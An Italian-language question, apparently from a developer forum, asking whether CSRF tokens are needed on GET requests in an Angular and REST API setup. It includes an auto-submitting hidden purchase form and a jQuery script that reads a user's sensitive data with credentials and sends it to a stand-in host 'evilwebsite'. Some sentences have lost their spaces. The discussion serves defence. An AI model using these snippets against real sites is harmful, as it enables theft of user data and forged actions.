Ho un'API REST che consente agli utenti autenticati di leggere i dati sul proprio account e apportare modifiche ai propri account. Per l'autenticazione, utilizzo JWT memorizzati come cookie httpOnly. Per proteggersi dagli attacchi CSRF, l'API REST fornisce anche al client ciò che Angular chiama "token XSRF".
Il metodo di protezione CSRF di Angular consiste nel prendere il token XSRF che l'API crea e re-inviarlo all'API con ogni richiesta in un'intestazione "X-XSRF-Token". Dipende dalla tua API per determinare se consentire la richiesta o meno. Uno script in esecuzione su un sito Web ostile non avrebbe accesso al token XSRF e quindi non sarebbe in grado di inviarlo insieme a eventuali richieste CSRF.
Quando ho implementato le mie richieste front-end in Angular utilizzando HttpClient, ho notato che HttpXsrfInterceptor non invia l'intestazione X-XSRF-Token con richieste GET e HEAD.
Dai pareri che ho letto online, la protezione CSRF non è necessaria per le richieste GET perché non (o non dovrebbero) modificare alcun dato. Il massimo che un attacco CSRF potrebbe fare con una richiesta GET è che l'API REST invia dati sensibili al browser web dell'utente. Il sito Web ostile non sarebbe in grado di vedere quei dati.
Esempio 1: CSRF GET
Se un sito Web ostile tenta di emettere una richiesta GET CSRF come questa:
<img src="https://example.com/sensitiveData">
quindiidatisensibilivengonotrasmessidall'APIalbrowserWebdell'utente,mailsitoWebostilenonpuòvedereidati,quindituttovabene.
Esempio2:CSRFPOST
SeunsitoWebostiletentadiemettereunarichiestaPOSTCSRFcomequesta:
<bodyonLoad="document.forms[0].submit()">
<form method="post" action="https://example.com/purchase">
<input type="hidden" name="itemId" value="34873847">
<input type="submit" value="View Kittens">
</form>
...
quindi il sito Web ostile non vedrebbe ancora alcun dato, ma potrebbe causare danni all'utente. Se l'API richiede che sia presente l'intestazione X-XSRF-Token, questo attacco non può avere successo.
Esempio 3: CSRF OTTIENI via Ajax
Ma cosa succede se il sito Web ostile costringe il browser a fare una richiesta GET come questa:
<script>
$.ajax('https://example.com/sensitiveData', {
xhrFields: {
withCredentials: true,
},
}).done((sensitiveData) => {
$.ajax('https://evilwebsite/logData', {
method: 'post',
data: sensitiveData,
}).done(() => {
console.log('I stole your data', sensitiveData)
});
});
</script>
Alcune politiche CORS lo fermerebbero, ma altre politiche CORS permetteranno comunque che ciò accada.
Sembra che richiedere la protezione CSRF sulle richieste GET attenuerebbe questa vulnerabilità.
Mi manca qualcosa di importante?